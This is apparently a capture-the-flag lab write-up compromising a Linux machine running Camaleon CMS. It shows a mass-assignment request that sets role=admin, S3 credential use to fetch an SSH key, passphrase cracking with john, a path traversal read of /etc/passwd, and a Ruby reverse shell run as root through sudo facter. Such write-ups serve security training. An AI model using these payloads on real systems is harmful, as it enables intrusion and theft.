Summary
Machine Overview
Facts is an easy Linux machine that focuses on web application enumeration. Initial access is gained by exploiting a vulnerable web service, and full system compromise is achieved through a misconfigured sudo permission.
Pentesting Process
Service Enumeration
The assessment begins with a comprehensive service enumeration using Nmap in order to identify exposed services and their versions.
nmap -sC -sV 10.129.31.229
The scan reveals two accessible services:
Nmap scan report for 10.129.31.229
Host is up (0.047s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The web server redirects traffic to the virtual host facts.htb, which was added to the local
/etc/hosts file to enable proper interaction.
echo "10.129.31.229 facts.htb" >> /etc/hosts
Web Enumeration
The website is a community forum for facts enthusiasts.
We use FFUF to enumerate the website’s subdirectories:
ffuf -w /snap/seclists/current/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://facts.htb/FUZZ -e php,txt,html -fs 11060
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://facts.htb/FUZZ
:: Wordlist : FUZZ: /snap/seclists/current/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
:: Extensions : php txt html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 11060
________________________________________________
index [Status: 200, Size: 11075, Words: 1328, Lines: 125]
search [Status: 200, Size: 19102, Words: 3276, Lines: 272]
rss [Status: 200, Size: 183, Words: 20, Lines: 9]
sitemap [Status: 200, Size: 3508, Words: 424, Lines: 130]
en [Status: 200, Size: 11071, Words: 1328, Lines: 125]
page [Status: 200, Size: 19508, Words: 3296, Lines: 282]
welcome [Status: 200, Size: 11922, Words: 1481, Lines: 130]
admin [Status: 302, Size: 0, Words: 1, Lines: 1]
post [Status: 200, Size: 11270, Words: 1414, Lines: 152]
We identified an admin pannel at admin.php, which redirects to a login page where we can register a new user.
We registered a new user and logged in. The assigned role is client, which has limited privileges.
Privilege Escalation (Web)
The website footer indicates that the application is powered by Camaleon CMS version 2.9.0.
A privilege escalation vulnerability CVE-2025-2304 affects Camaleon CMS 2.9.0 due to insecure
parameter handling in the updated_ajax method of the UsersController. The issue originates from the
use of the
dangerous permit! method, which allows all parameters to pass through without proper filtering.
Since no exploit was publicly available, we relied solely on the official patch diff between versions 2.9.0 and 2.9.1 on GitHub [1]
By reviewing the patch, we determined that the vulnerability was related to the password change functionality.
Analyzing the Password Change Process
To change a password, a user navigates to: http://facts.htb/admin/profile/edit
The page contains two distinct forms:
- A form for updating user profile information (first name, last name, email, etc.).
- A second form responsible for updating the user’s password.
The password form sends a POST request to:/admin/users/5/updated_ajax, with parameters structured
as password[password] and password[password_confirmation].
Identifying the Vulnerability
According to the patch analysis, the server does not properly filter parameters inside the
password[] object.
Because of the use of permit!, any additional parameter inside password[] is accepted
and processed.
In other words, if the server receives password[key]=value, it blindly updates the attribute key
with value.
This behavior allows an attacker to modify attributes that were never intended to be changed through this endpoint.
Exploitation
We intercepted the legitimate password change request and modified it by adding
password[role]=admin
The final request looked like this:
POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: http://facts.htb/admin/profile/edit
X-CSRF-Token: j77KaJf-ymn_-PYf3q32aKjiT5P-UWq7KCdza6pv967cmv9mi2_ajavuZtzgHFpaO0mFa7PKfIU-KXdxQylllA
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 188
Origin: http://facts.htb
Connection: keep-alive
Cookie: _factsapp_session=28G79I5MFIYKQ0Kv5a%2BQB3isfeTVYFij7rEYuI02QkddU2g5JXp5TdPFxI12ukNB9uc2XP2j09JuXiVEhQz7qHhmryy%2B1yc6HFNoFWiLjUbZRBnhBxCshN%2FcbaW0H%2Fs77ruDSUUGwG18ayMV52Th3eH%2BiD4og%2BXoihX0z9%2BtuaNY0xEnNhdJw8rZ82KswFkae%2FjbeChnArOMWJAgs8Z3EavmiT%2B2PJE6%2BfxMj%2BSHEJykrwZpHNfnz7TdcKSkoR8dgHKeJ8blY56aF5B4fbWNMi2fQ503kA1%2BVeacf8RZDdI9tGvcyvfLo%2BZKFKv0MogZcKEB4eg0Nv4JrNM8tg2Hvgt8F0JvHZApH5tq9LkFm0P77WszDemQqs5c0uPzsz2Odg%3D%3D--cnyumTb3Jv1%2F4uYE--9chkInhJ7cq62PYrzcmSJA%3D%3D; auth_token=RdPxWJuC94pVv9fgtB1mmA&Mozilla%2F5.0+%28X11%3B+Ubuntu%3B+Linux+x86_64%3B+rv%3A147.0%29+Gecko%2F20100101+Firefox%2F147.0&10.10.15.190
Priority: u=0
_method=patch&authenticity_token=j77KaJf-ymn_-PYf3q32aKjiT5P-UWq7KCdza6pv967cmv9mi2_ajavuZtzgHFpaO0mFa7PKfIU-KXdxQylllA&password%5Bpassword%5D=user&password%5Bpassword_confirmation%5D=user&password%5Brole%5D=admin
Since the server does not validate which attributes are allowed inside password[], it processed
the role parameter as well.
As a result, our user was promoted to Administrator.
AWS S3 Enumeration
In the settings page, we found information related to an AWS S3 bucket hosted on the machine, including its access key and secret key.
We configure AWS CLI to access the S3 bucket.
aws configure
AWS Access Key ID : AKIAAACEAD8AD73C2F81
AWS Secret Access Key : pwi4oTdMPFHZljzC8YbgfqpDjIKKvgYysXAm/8Zy
Default region name : us-east-1
Default output format : json
We list the files in the bucket:
aws --endpoint-url http://facts.htb:54321 s3 ls s3://
The bucket contains two folders: randomfacts, which stores images, and
internal, which contains sensitive data, including a
We retreive the content of the internal folder:
aws --endpoint-url http://facts.htb:54321 s3 sync s3://internal ./internal
The retreived SSH private key is:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCmLaQvRQ
RfXP/pDq514dOZAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIBmhNuhDBRGVAmme
COcCq4yhKfwXhniBPtk3eiuEq64KAAAAoPzXtrRpzU5FVl9ctjqB6ZDPdGPcMq/hEjpu1R
mqreVSQdaGq9ARE+Vrk8VM2fa11BXZ1R1DmLl4jaFv4Zad5het16U/IHOWtxAlrbaFOgYk
jN/ieYDxBu6JV+vMaWWvhds1rbHZ9782QjWyYPbSBQqldXZfZbVeLICvGlFpdWzn0x+23K
Eb8ahLB/xUe+bo9aJOCyl9baTqDiRulU3O7k0=
-----END OPENSSH PRIVATE KEY-----
Crack SSH Key
We didn’t know which user the private key belonged to, so we tried to use the usernames mentioned on the website. We quickly realized the key was encrypted with a passphrase.
chmod 600 id_ed25519 && ssh -i id_ed25519 carol@facts.htb
Enter passphrase for key 'id_ed25519':
To crack the passphrase, we first extracted the hash from the private key using the ssh2john script.
python3 ssh2john.py ./internal/.ssh/id_ed25519 > hash.txt
The extracted hash is shown below:
id_ed25519:$sshng$6$16$a62da42f45045f5cffe90eae75e1d399$290$6f70656e7373682d6b65792d7631000000000a6165733235362d637472000000066263727970740000001800000010a62da42f45045f5cffe90eae75e1d3990000001800000001000000330000000b7373682d656432353531390000002019a136e84305119502699e08e702ab8ca129fc178678813ed9377a2b84abae0a000000a0fcd7b6b469cd4e45565f5cb63a81e990cf7463dc32afe1123a6ed519aaade55241d686abd01113e56b93c54cd9f6b5d415d9d51d4398b9788da16fe1969de617add7a53f207396b71025adb6853a06248cdfe27980f106ee8957ebcc6965af85db35adb1d9f7bf364235b260f6d2050aa575765f65b55e2c80af1a5169756ce7d31fb6dca11bf1a84b07fc547be6e8f5a24e0b297d6da4ea0e246e954dceee4d$24$130
We used John the Ripper to crack the hash.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
The recovered passphrase was: dragonballz
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 20 OpenMP threads
Note: Passwords longer than 10 [worst case UTF-8] to 32 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
dragonballz (id_ed25519)
User Identification
Next, we attempted to determine which user the private key belonged to.
During our research, we found the path traversal vulnerability CVE-2024-46987 [2], which affects previous versions of Camaleon CMS than the one used on the target. Although the target server was not technically vulnerable to this CVE, we were still able to exploit it and retrieve server-side files.
We successfully retrieved the /etc/passwd file from the server.
We identified a user named Trivia, who appears to be the owner of the SSH private key. Using the previously discovered file disclosure technique, we retrieved the user’s SSH files to confirm this.
Initial Access
Using the recovered SSH key, we logged in as Trivia.
Privilege Escalation (System)
We checked Trivia’s sudo privileges.
sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
Trivia can run
According to GTFOBins, facter allows executing Ruby scripts. We only need to specify the
directory where the Ruby file is located using the --custom-dir parameter [4].
We created a Ruby script that spawns a reverse shell and placed it inside a custom directory.
mkdir -p /tmp/exploit
echo 'spawn("sh",[:in,:out,:err]=>TCPSocket.new("OUR_IP_ADDRESS",4444))'> /tmp/exploit/shell.rb
We ran facter as root with --custom-dir pointing to the directory containing the malicious Ruby
script.
sudo facter --custom-dir /tmp/exploit
As a result, we received a root reverse shell from the target machine.
Mitigation
Remediation
The following remediation steps can help prevent exploitation of the identified vulnerabilities:
- Upgrade to Camaleon CMS 2.9.1 or later.
- Remove sensitive data from the S3 bucket.
- Restrict the
factercommand for non-root users.
References
References
Proof of Completion
Proof of Completion